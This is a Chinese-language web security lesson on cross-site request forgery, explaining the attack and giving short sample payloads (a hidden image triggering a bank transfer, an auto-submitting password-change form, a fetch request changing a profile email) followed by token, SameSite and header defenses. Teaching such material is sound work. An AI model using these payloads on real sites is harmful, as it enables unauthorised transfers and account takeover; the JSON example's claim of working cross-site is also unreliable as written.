跨站请求伪造(CSRF)入门
Web安全学习路径 | 模块3 | 课程2
1. 引言
跨站请求伪造(Cross-Site Request Forgery,简称CSRF)是一种常见的Web安全漏洞。攻击者通过诱导用户访问恶意网站,在用户不知情的情况下,利用用户的身份权限执行未经授权的操作。
学习目标: 理解CSRF攻击的原理和危害,掌握CSRF漏洞的识别方法,学习有效的CSRF防御技术。
2. CSRF基础知识
2.1 什么是CSRF
CSRF是一种强制用户在已登录的Web应用程序上执行非本意操作的攻击。攻击者利用用户的认证状态,通过构造特定请求来执行未经授权的操作。可能导致:
- 修改用户账户信息
- 进行未授权的交易
- 更改应用程序设置
- 删除用户数据
- 执行管理员操作
2.2 CSRF的工作原理
CSRF攻击利用了Web应用程序对用户浏览器的信任。当用户登录某个网站后,浏览器会保存认证信息(如Cookie)。攻击者通过构造恶意页面,诱导用户访问,从而执行未经授权的操作。
// 一个简单的CSRF攻击示例
<img src="http://bank.example/transfer?amount=1000&to=attacker" style="display:none">
// 当用户访问包含此图片的页面时,如果用户已登录银行网站,将会触发转账操作
3. CSRF攻击类型
3.1 GET类型攻击
利用GET请求进行的CSRF攻击,通常通过图片标签或链接实现:
// 通过图片标签触发GET请求
<img src="http://example.com/api/delete-account" style="display:none">
// 通过链接触发
<a href="http://example.com/api/change-email?email=hacker@evil.com">点击查看有趣的图片</a>
3.2 POST类型攻击
利用POST请求进行的CSRF攻击,通常通过自动提交的表单实现:
<form action="http://example.com/api/change-password" method="POST" id="csrf-form">
<input type="hidden" name="new_password" value="hacked">
</form>
<script>
document.getElementById("csrf-form").submit();
</script>
3.3 JSON类型攻击
针对JSON API的CSRF攻击,需要构造特定的Content-Type请求:
<script>
fetch('http://example.com/api/update-profile', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
name: 'hacked',
email: 'hacker@evil.com'
})
});
</script>
4. CSRF防御措施
4.1 CSRF Token
使用随机生成的Token来验证请求的合法性:
// 在表单中添加CSRF Token
<form action="/api/update" method="POST">
<input type="hidden" name="csrf_token" value="随机生成的Token">
...
</form>
// 在服务器端验证Token
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF Token验证失败');
}
4.2 SameSite Cookie
使用SameSite属性限制Cookie的跨站发送:
// 设置Cookie的SameSite属性
Set-Cookie: session=123; SameSite=Strict
Set-Cookie: csrf_token=abc; SameSite=Lax
4.3 自定义请求头
添加自定义请求头进行验证:
// 在AJAX请求中添加自定义头
fetch('/api/data', {
headers: {
'X-Requested-With': 'XMLHttpRequest',
'Custom-Security-Header': 'random_value'
}
});